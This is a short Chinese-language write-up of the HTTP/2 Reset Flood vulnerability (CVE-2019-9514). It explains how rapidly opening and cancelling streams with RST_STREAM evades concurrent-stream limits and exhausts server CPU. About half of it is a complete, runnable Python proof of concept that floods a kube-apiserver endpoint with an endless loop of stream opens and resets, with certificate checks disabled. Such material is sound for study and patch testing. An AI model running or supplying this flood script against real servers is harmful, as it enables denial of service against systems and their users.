CVE-2019-9514 :Reset Flood
前置知识
HTTP/2 用 RST_STREAM 帧表示"放弃某个流"。服务器收到 RST_STREAM 要执行关闭流的清理逻辑(释放流状态、处理错误路径),这是有成本的。而协议靠 SETTINGS_MAX_CONCURRENT_STREAMS 限制同时存活的流数量来防滥用——但它只统计"存活"的流
- 连接(connection):一条 TCP 连接,客户端和服务器之间的"物理管道"。
- 流(stream):管道里的一条双向通道,承载一次完整的"请求 → 响应"。
- 帧(frame):真正的数据包。每个帧都带着流 ID,多个流的帧在连接上交错混排传输,接收方按 ID 把属于同一个流的帧重新拼起来——这就是图①里不同颜色的色块交错的原因,也就是 HTTP/2 的多路复用。
漏洞原理
攻击者循环执行"开一个新流 → 立刻发 RST_STREAM 关掉"。由于流瞬间就被重置,"并发存活流数"始终很低,限流参数形同虚设;但每开一个流、每处理一次 reset,服务器都要走一遍状态机分配/清理。高频循环下,CPU 被大量无效的流生命周期操作占满,kube-apiserver 响应变慢直至拒绝服务。本质是:用协议允许的"合法但昂贵"操作,绕过并发上限,消耗服务器资源。
POC
# pip install h2
import socket, ssl
import h2.connection, h2.config
HOST = "127.0.0.1" # 目标 kube-apiserver
PORT = 6443
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
tls = ctx.wrap_socket(socket.create_connection((HOST, PORT), timeout=5),
server_hostname=HOST)
conn = h2.connection.H2Connection(config=h2.config.H2Configuration(client_side=True))
conn.initiate_connection()
tls.sendall(conn.data_to_send())
sid = 1
try:
while True:
# 开一个新流
conn.send_headers(sid, [(':method', 'GET'), (':path', '/api'),
(':scheme', 'https'), (':authority', HOST)])
# 立刻 RST_STREAM 重置(0x8 = CANCEL)
conn.reset_stream(sid, error_code=0x8)
tls.sendall(conn.data_to_send())
sid += 2 # 客户端流 ID 必须是奇数,递增
data = tls.recv(65535) # 顺手收 GOAWAY/事件,保持连接
if data:
for _ in conn.receive_data(data):
pass
except KeyboardInterrupt:
pass